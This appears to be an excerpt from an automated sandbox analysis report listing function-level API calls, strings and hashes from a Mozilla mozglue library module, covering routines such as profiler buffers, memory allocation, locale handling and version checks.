Instruction Fuzzy Hash: 1E719DB0A09B41CBC716CF58C88059AF3F4FF99314B84965DE95A9B701EB30E886CBD1

Function 6C5FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5FDDCF

Part of subcall function 6C5DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5DFA4B

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE0D
free.MOZGLUE(00000000), ref: 6C5FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF32

Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDB86
Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF65
free.MOZGLUE(?), ref: 6C5FDF80

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction ID: e9d9f3a7715c3da00ed2307247d91099d61ff5c943ff41bb846aa0dd65ddfe1b
Opcode Fuzzy Hash: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction Fuzzy Hash: C451A3726016009BE7199F28CC806AEB376AFD1308F95051CDA2A53B00DB31F91BCF96

Function 6C605D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DC9
std::_Facet_Register.LIBCPMT ref: 6C605DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E45

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction ID: e30331564348a2ea0243372d30cab556a56615624ce3625c0d870351296d7690
Opcode Fuzzy Hash: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction Fuzzy Hash: 65417F307002058FCB14EF6AC9D8AAE77FAEF89314F044469D50AA7791DB34A805CB6D

Function 6C5DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5A31A7), ref: 6C5DCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5DCFA4, 6C5DCFB8
<jemalloc>, xrefs: 6C5DCF9F, 6C5DCFB3

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction ID: 998e27ab659295d1e5994167c4859d8b0af2eea0761ea0fb29930de1b0c23f75
Opcode Fuzzy Hash: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction Fuzzy Hash: B031C770B403069BEF11AFAD8C85BAE7775EB81754F214015F611EBA80DB74F900CB99

Function 6C5AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5AEDCC
CreateFileW.KERNEL32 ref: 6C5AEE08
free.MOZGLUE(00000000), ref: 6C5AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5AEE32

Part of subcall function 6C5AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5AEBB5
Part of subcall function 6C5AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5DD7F3), ref: 6C5AEBC3
Part of subcall function 6C5AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5DD7F3), ref: 6C5AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5AEDC1

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction ID: 98bbf4f3ef0777127e5ae27a845bd472b8300f5f5d205e968e16351221157966
Opcode Fuzzy Hash: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction Fuzzy Hash: 7551D071D05204CBDB00DFAACC806EEB7B1AF99318F44892DE8556B740E770695ACBA2

Function 6C61A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A565

Part of subcall function 6C61A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61A4BE
Part of subcall function 6C61A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C61A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C61A6B6

Strings

z, xrefs: 6C61A6AE
0, xrefs: 6C61A5FB

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction ID: 915c25c0bad6a613ca7e3937631c18ba55314a02d7f2e53d91269edd6a871d94
Opcode Fuzzy Hash: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction Fuzzy Hash: 4241357190C7459FC341DF28C480A8EBBE5BF89354F409A2EF49987651EB30EA49CB86

Function 6C5E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
__Init_thread_footer.LIBCMT ref: 6C5E949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E947D

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction ID: 0081f0393451ff0e005ba07dd94fe2a75616aa04fe90c0196bb49f527cd3ec27
Opcode Fuzzy Hash: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction Fuzzy Hash: EA012430A0021197E7009B6EDC80A8A33B5AF4A329F040536ED0AC6F42E67BE8558D5F

Function 6C5AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6AC

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5AB61E), ref: 6C5AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB79A

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction ID: 0eaa3da87508b8389fc69d7f1b5e92b83b5973571bb3e035c648cbd8645011f0
Opcode Fuzzy Hash: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction Fuzzy Hash: 7D41D4B2D001199FCB00EFA9DC805AEB7B5FB85324F250629E825E7790E771AD0587D1

Function 6C61B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C61B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C61B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C61B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C61B5F4
__Init_thread_footer.LIBCMT ref: 6C61B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C61B61F
std::_Facet_Register.LIBCPMT ref: 6C61B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B655

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction ID: 1f71f04cfe6d1d077e6d6df7f400f5cb3e6d9534b9819a13942ab196e849e7cb
Opcode Fuzzy Hash: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction Fuzzy Hash: 11318471B00214CBCB10DF6AC8949EEB7F5EBCA325F150929D90697740DB38A806CF9A

Function 6C5E6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5E67C8

Part of subcall function 6C5F4290: memcpy.VCRUNTIME140(?,?,6C602003,6C600AD9,?,6C600AD9,00000000,?,6C600AD9,?,00000004,?,6C601A62,?,6C602003,?), ref: 6C5F42C4

Strings

data, xrefs: 6C5E6593
vbl, xrefs: 6C5E696C

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vbl
API String ID: 511789754-1095404901
Opcode ID: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction ID: 76854d40968107d371606e8cdc04344036de73bd22231d81875b052ce1f557d6
Opcode Fuzzy Hash: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction Fuzzy Hash: 40D1CE75A08340CFD724DF29C851B9FB7E6AFC9348F10492DE59997B91EB30A809CB52

Function 6C5DD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5AEB57,?,?,?,?,?,?,?,?,?), ref: 6C5DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD673
free.MOZGLUE(?), ref: 6C5DD888

Strings

|Enabled, xrefs: 6C5DD81E
WZl, xrefs: 6C5DD5D9, 6C5DD63F

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WZl$|Enabled
API String ID: 4142949111-2253591229
Opcode ID: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction ID: 94e8c673f1f9dabd18c86c782d384f36b3bf29acdf5d5246b29ac01ef2c475ae
Opcode Fuzzy Hash: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction Fuzzy Hash: 06A1F0B0A00308DFDB11CF69C8D0BAEBBF1AF49318F15845CD889AB741D735A885CBA5

Function 6C5F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F1DDA

Part of subcall function 6C5F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5F1F03
Part of subcall function 6C5F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5F1DF2,00000000,00000000), ref: 6C5F1F0C
Part of subcall function 6C5F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5F1DF4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction ID: 9a471be08b50e03592e8f6c06e79911b50f8685a6c83a424bdf97b2465dc7a99
Opcode Fuzzy Hash: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction Fuzzy Hash: 704159B52007009FCB14DF29C888A56BBF9FB89354F10442DE99A87B41CB75F855CBA5

Function 6C5E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85AC

Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E767F
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E7693
Part of subcall function 6C5E7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5E85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E85B2

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction ID: b652a571e6f515641b9c497483492db018b07d393e4d3211ba346c22e8bc3285
Opcode Fuzzy Hash: 3618939d2246d539879c1c169ea646ce8a789ed37bdf003004a6aa54b5a21095
Instruction Fuzzy Hash: 61218375200601AFEB14DB29CC88A5AB7B5AF8830CF14482DE55BC3B42DB35F948CB96

Function 6C5B1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B1699
VerSetConditionMask.NTDLL ref: 6C5B16CB
VerSetConditionMask.NTDLL ref: 6C5B16D7
VerSetConditionMask.NTDLL ref: 6C5B16DE
VerSetConditionMask.NTDLL ref: 6C5B16E5
VerSetConditionMask.NTDLL ref: 6C5B16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B16F9

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

